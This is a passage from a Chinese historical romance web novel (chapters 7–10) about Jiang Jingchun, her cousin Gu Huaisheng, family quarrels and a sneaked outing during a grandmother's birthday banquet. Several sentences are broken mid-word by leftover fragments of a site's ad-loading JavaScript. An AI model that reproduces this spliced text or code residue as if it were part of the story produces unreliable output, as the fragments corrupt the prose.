顾淮声的衣袖上有一抹极其刺眼的红,星星点点的血迹在他素白的衣服上有些显眼,只不过姜净 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 春一直没有注意到,直到他抬手喝茶,才看见。 所以,方才那股强烈的血腥味也不是她的错觉,真的是从他的身上传来的。 顾淮声注意到了姜净春些许错愕的眼神,不过没在意。 他慢慢放下了手上的杯盏,口中的茶,有些许回甘。 手艺确实比从前有些长进。 从前姜家有嬷嬷给府上的小姐授课,教些女德女艺,而点茶是必不可少要去学的东西。 然而,姜净春那个时候十二三岁的年纪,给李氏惯得心浮气躁,屁股如何都不能安生得坐在椅子上,成日想着跑东跑西,东西更是学得一塌糊涂,嬷嬷们碍于李氏的面子,也不好去管她,只能看着她混天混地。 一次她们几位小姐在后园处上茶艺课,姜润初和顾淮声路过此处,不料却被姜净芳扯着,非要他们二人去品试她们几个小姐方点的茶,来较个高低之分。 姜润初也闲得没事,便拉着顾淮声留在了此处待上了一会。 姜润初喝了姜净芳的茶,还喝了二房其他两个庶出堂妹的茶,可独独就是不喝姜净春的那一碗。 姜净春是什么德行,他还不清楚吗。她弄出来的茶,说是洗碗水都抬举了,那是人能喝的东西吗。 姜净春见姜润初死活不喝,便将茶水端到了顾淮声面前。 她眨着眼睛可怜巴巴地望向他,“顾表兄,哥哥不愿意喝我的茶,你喝吗。” 顾淮声多少能猜出姜润初不愿意的原因,可或许是她那副样子实在有些可怜,他还是喝了面前那杯看着就不怎么样的茶水。 他有心理准备,可显然还是有些准备少了…… 干涩刺口,难以下咽。 他素来对吃食这些东西讲究,猝不及防喝了这么个玩样,眉头都快拧成了一股绳。那个时候的顾淮声不如今日这样,身上还带着一股浓厚的少年气,他甚至想要不顾仪态,偏头吐出这口洗碗水。 可在看到姜净春那充满希冀的眼神,竟鬼使神差咽了下去。 若非是她的眼神实在太过真挚,阳光下琥珀色的瞳孔好像都发着闪闪的金光,他都要以为,她一定是在捉弄他。 毕竟说,调皮的小孩,总是喜欢做这些捉弄人的事情。 顾淮声被那口茶刺激得整整一日都用不下饭,姜润初也拿这事整整笑话了他整三日。 面前传来了姜净春的声音,顾淮声从往事中回过了神来。 她没有问他茶如何,而是哑着嗓子问他,“表兄,你的衣袖怎么有血啊.......” 顾淮声看了眼衣袖,果真见得上面有几滴已干涸的血迹,泛着铁锈的颜色。 姜净春的面色看着有些不安,他却不甚在意,道:“方从都察院的监牢中回来。” 监牢中回来?而且身上沾了血。 “是表兄在审讯吗?”姜净春有些没想到,顾淮声还会拿刑具。 或许是他生得实在是太过于光风霁月,以至于让人觉的,刑具、审讯这些东西,和他根本沾不上边。 顾淮声看向了姜净春,眼眸漆黑,似有几分浅淡的笑意。 他看着她道:“嗯,是审讯。毕竟都察院总有些不听话的人,嘴巴里头不肯说些实话,不动手,便撬不开他们的嘴。方才我去了不过一炷香的功夫,就让他开口说话了。一不小心用力,便沾了些血。” 所以身上的血,是犯人的血。 他好像还是第一次同她说这样长的话,语气极淡,却像是在说一件再寻常不过的事情。 似是没想到他会说这些,姜净春一时之间没能反应过来,眼睛一眨不眨盯着他的脸,和煦的春光落在的脸上,姜净春依稀能见得他纤长的睫毛。 许久,姜净春才感觉身体能有些许反应,她看着他问,“表兄,你是在吓唬我吗。” 8. 第八章 他笑着说这些话,和善的语气说不和善的话,实在是有吓唬人的嫌疑。 姜净春说,“我不是小孩子了。” 她才不会怕呢。 顾淮声眼中的笑意渐渐褪去,他道:“不是吓唬你。” 当然,若是能吓唬到她也是最好。 她总是说喜欢他,可她连他是什么样的人都不清楚。 他只是觉得,有必要让她知道,他的身上也会沾血。 顾淮声扭回了头去,没有再同姜净春继续说下去的意思。 姜净春见他一副不愿多言的样子,便也忍住了话头,没再继续说下去。 台上的戏渐渐到了尾幕,戏子们退了场,咿呀声音消失不见,这处一下子便安静了许多,姜净春也不知是在想些什么,也不知道方才有没有被顾淮声的话吓到,一直不曾说话。 直到李氏开口唤她回家,姜净春才有了反应,她起身同顾夫人还有顾淮声拜别,跟在李氏的身后离开了此处。 他们走后,这处就只剩下了顾夫人同顾淮声,还有顾淮朗。 她将顾淮声唤来了身边坐。 她看他眉眼之间带着几分疲态,便知道他今日一定很早就出了门。 她问道:“一大早就出去,是忙了些什么去?” 顾淮声如实回道:“衙门里头最近有桩案子,盯得紧,方才有些眉目了,便赶过去了。” 顾夫人点了点头,算是知晓了。 两人坐着,默声片刻,一旁的顾淮朗已经放下了手中的孔明锁,看样子是已经解开。顾淮声看了眼顾淮朗,最后见顾夫人似无话要说,便打算起身离开,可她却忽然出声唤住了他,“伏砚。” 顾淮声回过身去,看向她的眼中带了的几分不解,似不知她为何又突然叫住他。 顾夫人想到了方才的事,他走去姜净春身边的那个动作。 她发现,他好像待她总是格外纵容一些。 她想他做的事,若是些无关痛痒的小事,他便总是会满足她。 真的只是表哥对表妹那样吗? 可他对旁人却不见得这样纵容。 顾夫人自己也弄不懂这个儿子。 他素来不愿和她亲近。 顾夫人当年在生顾淮声的时候,险些难产没了性命,本走了这么一遭鬼门关,她这辈子也是不打算再生一回的,可,顾淮声实在是同她不大亲近,小的时候倒还愿意听听她的话,长大之后,便总喜欢自己一个人待着。 顾夫人这便起了再要一个孩子的心思。 有了这心思,她也很快就付诸了行动。 顾淮声打小就想得多,他心思深沉,以至于她这个当母亲的,也时常摸不透他心中在想些什么。 顾夫人想了想,还是开口道:“你也到了年岁,都二十一了,不少的人想着跟我们攀亲家呢。” 二十一,确实是老大不小的年纪了,在他这个年纪的,若是动作快些的男子,现在孩子都能跑能跳了,可偏偏顾淮声,清心寡欲,一点那方面的想法也没有。上回有个爬床的丫鬟,生得也是极出挑的模样,却被他面无表情让人抬了出去。 想要同侯府攀亲家的人不在少数,侯府门槛都要被人踏破,也不是说着玩的。 顾夫人玩笑似的说出了这句话,可心中却止不住打鼓,她观察着顾淮声的脸色,想看他是何反应。 然而,顾淮声几乎没有任何停顿,脸上也没有任何不虞,他回道:“全凭母亲安排。” 说罢,离开了此处。 顾淮声的回答显然出乎她的意料,她倒没想到他竟应得这般干脆利落。顾夫人得到了自己想要的回答,松了一口气,也没再留他了, 如此看来,方才也果真是她多想了。 顾淮声走后,顾夫人才不满地看向顾淮朗,斥道:“怎么不多和哥哥亲近亲近,离他那么远做些什么。” 分明是亲兄弟,这关系看着都不如姜净春同他亲。 顾淮朗听见母亲的训斥,低着头闷闷道:“哥哥又不喜欢我,我同他亲近,他又不同我亲近。” 他才不是姜净春,别人不喜欢他,他还要眼巴巴地凑上去。 六岁,是能知道事,但不明白事的年纪,顾淮朗想的自然简单,谁喜欢他,他就亲近谁,谁不喜欢他,他就讨厌谁。 所以,顾淮声不喜欢他,他也讨厌他。 顾夫人听了他的话很是头疼,她也不知道该怎么去跟顾淮朗讲道理,六岁小孩,说也说不通。 顾淮声若不喜欢他,也是正常,没谁会喜欢突然多出来一个弟弟。 这个弟弟意味着什么,他们其实都心知肚明。 顾夫人也不知该如何跟顾淮朗解释,最后也只是叹了口气,蹲下身来,看着他道:“你阿兄待谁都这样的,不是讨厌你,你小小年纪的,想这么多做些什么。” 顾淮朗没那么好骗,显然是不相信她的话,他奶声奶气道:“才不是,他待姜家阿姐就不那样。” 顾夫人点了下他的脑袋,道:“人小鬼大,你个小孩子懂些什么。” 她没将他的话放在心上,也没再说此事,牵起他的手离开了此处。 * 夕阳西下,晚霞拨开云层,火红的纤云渐渐笼罩了下来。几人回了姜家之后,已快到了傍晚时分,李氏想要借着这次一起从外头回来,直接带着姜净春回去崇明堂。 可姜净春却执意要回老夫人身边,同她又是好一阵撒娇卖软。 没法,李氏拗不过她,也只得放了人离开。 而林氏在一旁看完了全程,竟也罕见没也出声说些什么讥讽的话,只是回去了二房住处之后,马上就去寻了自己的丈夫姜成,非要让姜净芳也跟去老夫人的身边。 美名其曰说是让她也去听听宫中嬷嬷的规矩,实则不过也是看姜净春有的东西,自家女儿也要有。 两人在房中,姜成坐在桌前听着林氏在那里唠叨。 “怎么什么好便宜都要让大房的人占了?学规矩?她姜净春若是能乖觉的人,真是母猪都能上树了。在老夫人身边,总是比不在她身边要好得多,她老人家本就偏心,当初你和大哥,她就只顾着他,现如今小辈里头,她也紧着老大的,你还是不是男人了,这也受得了?” 林氏从一回来就在说这事,说起来就是个没完没了。 姜成听她说话如此难听,忍不住直蹙眉头,“你好好说话不行?是我自己没本事,读书也读不出什么名堂,若当年母亲来分心管我,那我们姜家是真完了。” 姜成不是糊涂人,他也明白,当年在饭都吃不饱的情况下,如果只能让一个人继续读下去,自然是选择姜南。 只有全力以赴培植姜南,他们姜家才能有重回京城之日。 现如今看来,姜老夫人的选择果然没错。 姜成也没什么大抱负,反正他哥哥有肉吃,总会让自己这个弟弟喝上汤的。 怎么就摊上了这么个没用的丈夫,林氏听了这话更来了火,一时之间又有些口不择言,“那姜净春有没有流着姜家的血都不知道呢,老夫人还如此栽养她,图些什么都不知道!” 姜成马上道:“你少再去说这些话了,传去大嫂耳朵里头,有得好闹了!” “怎的,自家房中还说不得话了?我说错了吗,当年姜净慧走丢了,寻了好一个月,寻回来就寻回来,怎么还给人改个名字。再说了,我明明记得姜净慧手上是有个胎记的,我偷看了一回,姜净春手上可没有。你说这事没鬼?我不信。” 姜净慧在三岁的时候走丢过一回,姜南寻了整整一个月的时间也寻不到人,李婉宁那段时间,精神看着都有些不大对劲,见谁都扯着不放,让他们还她的孩子回来。 他们又没抢她的孩子,从哪里给她还孩子? 后来,姜南带着李婉宁还有姜润初去寺庙上香祈福的时候,竟意外在庙中找回了被拐丢的姜净慧。 只是寺庙中的大师说,姜净慧这名字不好,容易多灾多难,于是,姜净慧便改了名字叫姜净春。 被寻回的姜净春到底是不是姜净慧,这事恐怕只有大房的人知道了。 姜成显然是不想再在此事上面继续说下去,“好了!你别疑神疑鬼了,成日里头想这么些做什么。” “好,那不管她是不是,反正她姜净春有的,我的女儿也要有!” 姜成最后被林氏缠得没了办法,还是去寻了老夫人。 * 夜幕笼罩,圆月高悬。 现下已经到了戌时,林氏怕老夫人歇得早,催着姜成赶紧去了荣德堂。 到了荣德堂之后,姜成见里屋灯还亮着,便知道老夫人也还没歇下,他在门口踟蹰了许久,来回走动,也不进去。 旁边的丫鬟见了都忍不住上前问道:“二爷,你可是有事去寻老夫人?” 姜成被这一声唤回了神来,也知道不能再拖下去了,一会办不完这事,林氏又要闹,他叹了口气,挥退了丫鬟,便往里屋去了。 刚往里头走,就碰到了从里面的出来的姜净春。 她的手上还端着个见了底的碗,依稀能见得里面还有些没用完的粥。 两人撞了个正着,姜净春先出声唤他,“二叔。” 姜成有些尴尬地摸了摸鼻子,“诶”了一声,应下了她的话,而后又问道:“母亲是胃疾又犯了?” 老夫人一犯了胃疾,便不肯用饭,连粥都喝不下。倒还是姜净春有些本事,好歹能让她喝些粥。 姜净春回他道:“是犯了疾,用了粥后,好些了,现下在里面休息呢。” 两人寒暄了几句,姜成就没继续说下去,进了屋去。 姜老夫人正躺在榻上歇息,面色有几分苍白,看上去还是有些不大好。 姜成进屋,轻声唤了句,“母亲。” 老夫人胃里虽是舒服了些,但还依稀泛着酸,有些难受。她没有睁眼,“嗯”了一声,也算是回了他。 姜成见她眉心微蹙,也知她现在还犯着难受。 可他还是开了口,说明了来意,“母亲,我看净春这段时日一直跟在你的身边,长进不少,想着让净芳也来跟您学学规矩,长些本事,您看如何?” 姜老夫人听了姜成的话,睁了眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看他,眼中辨不出是喜是怒。 “你媳妇的意思?” 姜成忙道:“她也没旁的意思,就是想着为了孩子好。” 老夫人轻呵了一声,道:“为孩子好?我教净春的东西,净芳都会了,她来学些什么?让她来,她愿意吗?” 她活也活了这把年纪,他们之间的弯弯绕绕岂会看不明白。 姜成想了想,道:“听母亲这里有位宫里来的嬷嬷,想着来了也总是能学到些东西的。” 姜老夫人明白了,今日他是非要将人塞给她了。 “我身子现在也不大行,一个净春,已经有些费力了。” 还是不愿。 可姜成不想回去同林氏再闹,只能使出了最后的法子,他道:“母亲,净芳也是您的孙女啊。” 这话便又是有嫌她偏心之疑。 姜老夫人眼神冷下来了些许,最后却还是应允了他。 “好,当年只顾着你的大哥,没有顾着你,那是我的错,你想让净芳来,来就是了,免得又说我苛待了你,不过我丑话说在前头了,来我这里可不是享福,她若受不了了,别同我闹腾。” 姜成总是去拿当初的事翻来覆去去说,想要从老夫人这里换来些什么。或许是因为真的觉得亏欠,她也总是纵容他,他提,她就给。 这些年间,屡试不爽。 姜成自知理亏,被她这话说得有些面薄,想要开口辩解些什么,却听老夫人开口道:“你们都没有良心。” “母亲这是哪里话?” “你的心里话。” 虽是惹了老夫人心里不痛快,可姜成也总算是完成了林氏交给他的任务,他被老夫人说得一噎,没再回,起身往外回了。 从今日之后,姜净芳也来了荣德堂这处,跟着姜净春一起。 姜净芳一觉醒来,听到母亲要把她送老夫人身边,天都要塌了。 她才不想去吃苦呢。 况且说了,那些女红、茶艺、规矩......她早就都会了。 她去荣德堂做些什么? 她不想去,可奈何林氏非逼着她去。 一开始她还不大情愿,可是后来,总是能看到姜净春在柳嬷嬷的课上犯错挨罚,这让姜净芳心情大,便也没再那般抵触。只是再后来,姜净春从一开始的挨罚,到了渐渐不再犯错,而后,功课竟都要赶上了自己,这让她警铃大作,开始暗戳戳同她较劲。 但也好在除此之外,暂且没有闹出什么不该有的动静来。 * 日子就这样不紧不慢过去,很快就到了四月十八,老夫人的六十诞辰。 姜尚书好歹也是吏部的一把手,清流人家,名声颇不错,要来巴结他的人自是不少。今日老夫人的六十大寿,来了不少的人,京城中显贵世家多多少少都漏了脸面。席面设在荣德堂的正房处,金玉帘箔作响,宾客们来来往往,姜南、姜成共同在外头迎着男宾,而李氏、林氏二人则扎儿在夫人堆里面应酬。 姜净春这些时日一直跟在老夫人身边,也终在今日有了空闲。 现下宴席还不曾开,在这日子里,老夫人罕见地穿上了一品诰命服,坐在里屋,不少的宾客进去里头同她寒暄,也没功夫管得到她。 今日陈穆清也来了,现在她的母亲正在李氏那边。 姜净春趁着这会子功夫,溜去了外头,同她混在了一起。 两人说着闲话的功夫,只听一阵靴响传来,而后一旁又探来了个束着马尾的少年脑袋,“喂,姜净春,这些日子你干嘛去了,怎么都不出门了。” 那两人皆叫这突如其来的声音吓了一跳,扭头去看。 来的这人是一个十七八岁的少年,轻裘宝带,面容俊俏。 是宋玄安。 宋玄安是两人的共同好友,他家中祖父是内阁阁老。宋玄安也只大她们个两三岁,三人“臭味相投”,年岁相仿,平日里头没少厮混在一处。 可近些时日宋玄安发现姜净春已经许久不曾出门了,那她成日窝在家中做些什么? “忙着学规矩呢。”姜净春回了他的话,而后又道:“这些时日可别来烦我。” 学规矩? 宋玄安长眉一挑,似是觉得有趣,方想要出口打趣两句,却忽听得姜净春对他道:“宋公子,嬷嬷说男女授受不亲,我们之间当保持些距离。” 她的声音有些响,一下便有不少人注意到。 那两人叫姜净春这话弄得莫名,从前的时候他们都还在外头玩得夜不归宿过,现下竟说什么“授受不亲”?学规矩学得脑子都出问题了吧。 宋玄安方想说话,可却听到门口那处传来下人们行礼的声音。 他的视线移向了那处。 外头走进一个男子,一袭玄色窄身锦衣,衣带上的锦绣样品简单华贵,舒袍宽带,流风回雪。他剑眉星目,神色冷冷,却更显出了一种别样的风骨,一出现便引了不少人的视线去。 顾淮声往他们这处看了一眼,显然是注意到了这处的动静。 宋玄安明了,难怪突然发了毛病,原来是顾淮声来了。 9. 第九章 姜净春这厮见色忘友到了这等地步,竟为了这顾淮声如此坑害友人。 他偏不如她所愿,她越是那样说,越是让他离开远些,他便非要离她越近。 姜净春知他故意同她作对,气得拧他的胳膊,暗骂道:“宋玄安,你死远点成不,怎这么烦人。” 她不敢闹出太大动静来,怕被顾淮声注意。 好在,顾淮声也只是往这里看了一眼而已,就跟着顾夫人还有顾侯爷去里头给老夫人祝寿。 宋玄安撇了撇嘴,还在对方才的事情耿耿于怀,故意出言讥她,“没看人都不稀罕搭理你吗,还眼巴巴往跟前凑。” 说什么不好,非去说这戳心窝子的话,姜净春气急,但想着今日这么多人在,万一闹了起来,她这么些日子也真是白辛苦。 她拉着陈穆清要离开此处,不愿意再理会宋玄安。 宋玄安在她身后道:“你个见色忘友的小人,谁稀罕跟你玩似的。” 说罢,转身也要往别的方向离开。 姜净春见他仍旧不依不饶,也顾不得什么,转头回去就要同他争起来。一旁的陈穆清眼看继续这样下去,两人非再这处打起来。 陈穆清扯了他们,阻道:“好了!怎么这也要吵起来。” 宋玄安个子生得高,陈穆清扯不住,便只能劝他,“她这些时日这样辛苦,你还非要拿这些事情讥她做些什么?好朋友也不带你这样的。” 宋玄安不服气,却还是给了陈穆清面子,没有继续闹下去,只是低声嘀咕道:“我又没说错。” 陈穆清见他愿意安静了下来,又劝起了姜净春,她凑到她耳边道:“好啦,不同他生这气了,他也是把不住嘴的,你又不是不知道。” 话至此,姜净春也没再去同他说些什么,可虽说是没有再继续争执下去,但两人的脸色一个比一个难看,皆好看不到哪里去。少年人的意气就是这样,好起来两肋插刀也使得,不好起来,也不过就是两句话的事。 这样下去可不行啊。 陈穆清知道,他们俩人关系好,虽说现在不至于因为这一件事真就闹翻了,可若是让这事一直横亘在两人中间,迟早会成为一根心头刺。 陈穆清想了想,而后挑眉道:“我们好久没去南郊了?” 南郊的湖边,有片宽阔的草地,他们三个人以前总是喜欢往那里跑,上一次夜不归宿,就是三人在那里宿醉,一夜睡到了天亮。 现在两人吵成了一团,可去那里玩一通不就什么事都没有了吗,哪能还有什么隔夜仇。 陈穆清心中如此作想,可姜净春却踟蹰道:“不好吧,今日是祖母大寿呢。” “就是寿辰才好呢!他们一群人在那里忙活着自己的事情,可就没人会管得到我们了呢,到时候晚些时候,人多眼杂,你就让花云给你打掩护,说吃坏肚子,回屋子里头先歇下就是。再说了,谁会在今日管你啊,都忙着往你祖母跟前凑呢。” 听着好像确实没什么事。 可姜净春看着还是有些犹豫。 一旁宋玄安见此,双手环胸交叉,那双丹凤眼瞥了一眼姜净春,凉凉道:“从前倒不见你这样胆小,不愿意去就算了。” “谁说我不愿意了。”姜净春最是受不得别人激了,听到宋玄安的话,便也没再犹豫下去,她道:“去就去,有什么要紧的,但是要早些回来。” * 今日的宴席确实热闹,宾客也络绎不绝,顾淮声跟着顾侯爷和顾夫人从老夫人在的里屋出来后,就有不少的人拥了上来,同他们寒暄。 这顾家声望高,顾侯爷在朝中人缘颇好,寒暄过后,一得空,就被人拉过去喝酒讲话,顾淮声性子冷,只有些个同僚见了他,同他打声招呼算是见过。 姜润初在一旁同人应酬,见顾淮声出来了,看他身边的人散开后,想上去拉他说话,却被另外一群人先截了胡。 他看到楼家夫人带着她的两个女儿去同顾夫人寒暄了起来。 楼夫人两个女儿,大女儿楼妍心今年十七,至今还未许配人家,而二女儿楼妍妍就是上一回同姜净春打了架,闹了不愉快的那个。 楼夫人和顾夫人从前之时见过两面,虽不相熟,但也不算眼生,突然说起话来,倒也算不得突兀。 今日她带着女儿,趁着顾淮声还在场的时候主动去寻顾夫人,其中的意思,也不难猜。 顾夫人早就听说过楼妍心这人。 她的名声好听,是京城中挺有名的才女,顾夫人前些时日在给顾淮声相看人家的时候,楼妍心便在其中。楼家的家世虽比不上顾家,但顾夫人却不大在乎,毕竟整个京城中,能和顾家相提并论的氏族又能有几个呢。 她还记得上次同顾淮声说,给他相看亲事,那时他应得轻快,不曾拒绝,若不如就趁着今日这个日子,同楼家人相看一番也算不错。 她让顾淮声留在她的身边,陪着楼家的夫人小姐。 只是今日堂屋前厅这处皆人来人往,不是能细谈的场所。 顾夫人对姜家熟悉,她知道前厅这处现在皆是宾客,而后园那处没什么人,比较安静一些,便邀着人往那处去了。 几人离开了此处,去了后园处。 院子里头风景极好,湖水清澈澄明,还有片假山围绕,时至春日,花草树木葱葱茏茏,绽着芳香,昨些个日子还落了雨,今晨的时候才将好停了雨,现下空气中还散着一股尘土的气息。 此处果真比前厅处安静了许多。 一路下来,顾夫人和楼夫人相谈甚欢,楼妍心偶尔开口附和两句,视线也时不时地往顾淮声身上看,然而,从头到尾,独独主人公顾淮声不怎么说话,最多也不过“嗯”一声,算是回了他们的话。 分明今日的楼家人是奔着他来的,可他的目光却心不在焉地看向别处,好似这周遭的一切同他没甚关系。 另外一边,当宴席快要散场的时候,姜净春三人就找了个借口离场,今日人来人往,到处是人,也没人注意到他们三人的小动作。 他们三个躲着人群出府,姜净春带着宋玄安还有陈穆清往后园的方向去,为了不叫下人们瞧见,便不能往大门那处去,只能往人少的地方溜。今日客人们都聚在前厅,而丫鬟小厮们也都被调去那里。 所以这个时候一般是不会有人在后园的。 从后园的小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 路绕去后门,后门有个狗洞,他们再从狗洞里头爬墙出去,便也不会被门口看守的侍卫发现。 这计划天衣无缝,姜净春很是满意。 但,等他们到了后园之后,竟听到了有人谈话的声音,三人吓得急忙躲到了假山后去。 姜净春从不远处听得那说话几人声音有几分耳熟,他们探了头去看,才发现竟然是顾淮声一行人。 顾淮声在,楼妍妍在,楼妍妍口中那个极其喜欢顾淮声的姐姐,楼妍心也在。 他们在这处做些什么?什么话在前厅不能说,非要到这里来说? 姜净春心中一下便浮上了各种杂七杂八的想法。 然而,还不待她多想,就在此时,不远处的的顾淮声忽地往假山方向看了过来。 顾淮声没有表情的时候,眼神中便带着些许的冷意,几人离得不大近,从这个距离看去,他的瞳孔看去有些涣散,那双清浅的眼,就如水中冷月,不带丝毫温度。 姜净春看到了顾淮声,却不知道他有没有看到他们,或许是他的表情有些太过唬人,她心下一慌,一时之间竟也不知该作何反应。 还是宋玄安先反应过来,伸手捂住了她的眼,把人的脑袋按了回来。 姜净春眼前一黑,什么也都看不见了。 然而,顾淮声的视线仍旧落在那处。 他目光低垂,长睫在眼下投出一片阴影,分辨不出此刻是何情绪。 顾淮声目力极好,即便说那三人有假山做掩,可他还是将他们的动作看得一清二楚。 他看清楚了姜净春在那里偷看,看清楚了宋玄安的动作。 微风拂过水面,一阵水波荡漾,波光倒影在男子的眼底,泛着更不加掩饰的冷光。 他也看得出来,那三个人,应当是想要偷跑出去玩。 可是一下子跑走了三个,好像很难不被发现啊。 但凡有人去问一下,也能知道他们三个人偷跑走了。 不过,顾淮声可没想去帮她遮掩。 他记得从前有一回,她也是跟着那两个人夜不归宿。 夜不归宿的小孩,是不大听话的小孩。 他也没必要给不听话的小孩打什么掩护。 那边顾夫人也实在是有些应付不下来了,她见顾淮声从始至终没什么兴趣,心思也一点没有放在这处,若再和楼夫人聊下去,怕是要聊崩了。于是,便找个借口让人先回了宴席。 那行人离开,这处便只留下了母子二人。 顾淮声的视线还一直落在那片早就已经没有了人影的假山,就连楼家的人走了也不曾注意到。顾夫人有些好奇去看假山那处,却什么也没见到。 顾夫人问道:“你这是在看些什么?” 顾淮声回了神来,他摇头,道:“没什么。” 顾夫人没多想,当他是在走神,她又问,“那楼家的小姐你看如何?我瞧着她还挺喜欢你的。” “哦,可是我不喜欢她。” 旁的不说,顾淮声不想给人面子的时候,是真不大会说话。 顾夫人回想方才楼家人也没说什么过火的话,他说话这么刺耳做些什么? 10. 第十章 寿辰差不多要结束,顾侯爷先回了侯府,而顾夫人带着顾淮声还有顾淮朗留宿在了姜家。 她是家中老幺,还是做女儿的,和母亲的感情自然是深厚一些,留在这里和母亲说了好些体己话,一没注意时间,天便晚了,不过左右无事,留下也不打紧。只没想到,顾淮声也留了下来,问他也只说是天色已晚,来回奔走麻烦,便跟着她一同留下。 顾夫人也没多想。 留下来也好,他这样有出息,让老人家看了也舒心。 顾淮声留在姜家,府上下人们不少都在讨论他。 “听闻小侯爷今日也宿在府上了?”一个梳着高顶髻的丫鬟向一旁的人问道。 她的手上还端着方才从席面上收拾下来的盘子,两人正往后厨的方向去。 另外一人回她道:“千真万确,我方才收拾桌子的时候听小侯爷和侯夫人说的,还听到了管事姑姑让翠屏和翠潭去小侯爷暂住的院子服侍呢,运气可真好,还能近了小侯爷的身。” 说这话的时候,这人的语气带着不住的艳羡,恨不得自己就是那两个丫鬟。 听到这话,那高顶髻的丫鬟回道:“那还真是奇了怪了,既小侯爷在,怎么也不见得大小姐露脸呢?” “诶,对啊,说起来,从午后便见不到她的人影了。” 好在那两人也只是觉着奇怪,也没有将这件事情放在心上,转头忙活起自己的事去了。 夜色渐浓,荣德堂的堂屋中,姜家大房、二房的人还有顾夫人一行人都在。宴席结束,宾客陆陆续续散去,热闹的府邸终于归于安静。 姜南领头,带着几个小辈的人又留在这里说了好些吉祥的话。 经历了一日的应酬,老夫人面上带着止不住的疲意,可她还是强打起精神来,笑着受下了他们的贺词,她道:“今日也辛苦你们了。” 这场宴席下来,她累,小辈们也轻快不到哪里去。老夫人虽面冷,却也不是不通情理的人。 姜南忙道:“这都是儿子们应该做的事情。” 姜成附和道:“就是啊,前些年母亲不愿意办宴,今年好不容易办一回,哪有什么辛苦不辛苦的。” 姜老夫人也没再继续说下去,笑了笑,而后道:“那今日便这样先了,我累了,你们也都回去歇息吧。” 话毕,众人起身就要告退。 可就在这个时候在一旁不吭声的顾淮朗忽然扯着顾夫人的袖子小声问道:“表姐呢?怎么不曾见得她。” 平日里头他哥哥在,姜净春必然也在,可是这一回竟然罕见地没有看到人。 小孩子想到什么便问什么,他的声音虽然不算响,可却还是传到了一旁的姜南耳中。 他这才注意到,姜净春好像很久没露面了。眼看他面露不虞之色,李氏先开了口道:“哦,这孩子宴席上也不知道是吃了什么下去,闹了肚子,花云早就跟我说了,现下人约莫是在房中歇着吧。” 姜南闻此,脸色仍旧不见好转,今日这样的日子,却还不知往老夫人面前尽孝,大家伙都在,独独不见她的人影。 就在此时,姜净芳忽然开口道:“没有啊,堂姐不在屋子里头呢。我今个晚些时候回了趟房,听闻她肚子不舒服,便想着去瞧瞧。可进了屋子后只发现堂姐身边的丫鬟在,堂姐却不在。” 姜净芳一直没看到姜净春的身影,而且连和她玩得好那两人也都一起不见了,马上就猜到她定是又偷跑出去了,两人住得近,都在老夫人这处,她跑回去一看,果然没见着人。 她说这话的时候状似无意,可却直接抖落出了姜净春不在房中。 她向来是和姜净春不对付的,这话多半也是故意。 姜净春现在不在房中?那是去了哪里? 姜南猜到她多半是趁着今日人多出去混耍了,陈家的小姐和宋家的公子都来了,她定不能安生待着!本以为前些日子人跟在老夫人身边当真是学规矩了些,可没想到还是那副死样子,几日不犯浑,便哪哪难受。 姜南的面色瞬间变得铁青,周遭的气氛有那么一瞬间的凝固,谁都没有先去开口。 李氏瞪了一眼姜净芳,后者缩到自己母亲的身后,一脸无辜模样。 姜南忍无可忍,顾不得如此场所,直接道:“这混球,这样的时日还不肯安生,您这六十大寿的日子,她还非要出去,我让人找她去,这回非罚她不成。” 李氏便不大乐意听这话,当即就回怼道:“孩子乐意玩就让她玩是了,憋了这么些个日子,松快松快怎么了?” 听李氏这样说,当是早知道这件事了,方才还说人不舒服在屋子里头休息,显然是来诓人的假话。 姜南脾气不算差,可独独对姜净春没什么耐心,他当即想要继续发作,可却被老夫人打断。 “好了,就算是今日不在跟前又如何,平日里头她比谁都奔得勤快,这就够了,也总比堂前尽孝好。” 说完了这话,老夫人便起身往里屋去了,一旁的嬷嬷赶紧扶了上去。 老夫人离开了之后,此时的气氛又变得古怪了起来。终于在一阵静默之后,姜成先带着林氏以及自己的小妾,子女,先行离开这个是非之地。他虽不大聪明,但也向来是会看人眼色,他知道,自己哥哥这气一时半会恐怕消不下去,未免一会殃及池鱼,还是早些离开了好。 二房一行人便从堂屋离开。 果不其然,即便老夫人方才都那样说了,姜南却没有打算让这件事轻轻揭过。他冷着脸,派人出去寻了姜净春。 坐了一会后,顾夫人也在一旁踟蹰要不要先行离开,她看向了一旁的顾淮声,只见他此刻正端着杯盏,有一口没一口的品着茶,她斟酌着如何开口。 可在此时,门口处传来了一阵动静,几人抬头望去,发现是刚出去没多久的侍卫,已经逮着姜净春从外头回来。 除此之外,宋玄安竟也在。 说来也算凑巧,宋玄安和姜净春二人先将陈穆清送回了家,而后宋玄安再送姜净春回去。可人到了姜家的后门,姜净春狗洞也才钻了一半,一抬头就看到一群侍卫站在眼前。 就这样,来回都还没一盏茶的功夫,人就给抓了回来。 宋玄安这个时候倒也挺讲义气,知道她被抓到了偷溜出门,也不让她一个人倒霉,非要跟着进来。 堂屋陷入了一片死寂之中,姜净春看着父亲铁青的脸色,心下暗道完蛋。 真是闯出塌天大祸来了。 她本也是想着早些回来的,毕竟越晚回来,被发现的可能性越大。可终归是孩子心性,一玩就上了头,在南郊那处混完了后又转场去了别处,闹来闹去的,一下便忘了时辰。眼看天也黑了,她干脆也就破罐子破摔,一边害怕一边玩。 这一回来,果真就迟了,还好死不死在钻狗洞的时候被侍卫抓回来了。 宋玄安和姜净春疯了快一日,还都钻了狗洞,此刻看着都有些乱糟糟。尤其是姜净春,脑门上还插着一只狗尾巴草,看着潦草至极。 可都这样了,姜净春也不知道是哪里来的胆子,竟然还敢去瞥顾淮声。 他坐在那处,淡淡地往他们的方向看了一眼,只不过也就只有这么轻飘飘的一眼,他很快就移开了视线,似没将他们的事情放在心上。 这样晚了,他还没回顾家? 就这样一眼,让姜南的火再憋不住,他厉声斥道:“你个混账东西,还有脸去瞧别人!” 姜南尚顾忌这是在老夫人的地盘,还压了些声音。然而饶是如此,瞧着还是十分唬人。 姜净春叫吓一哆嗦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 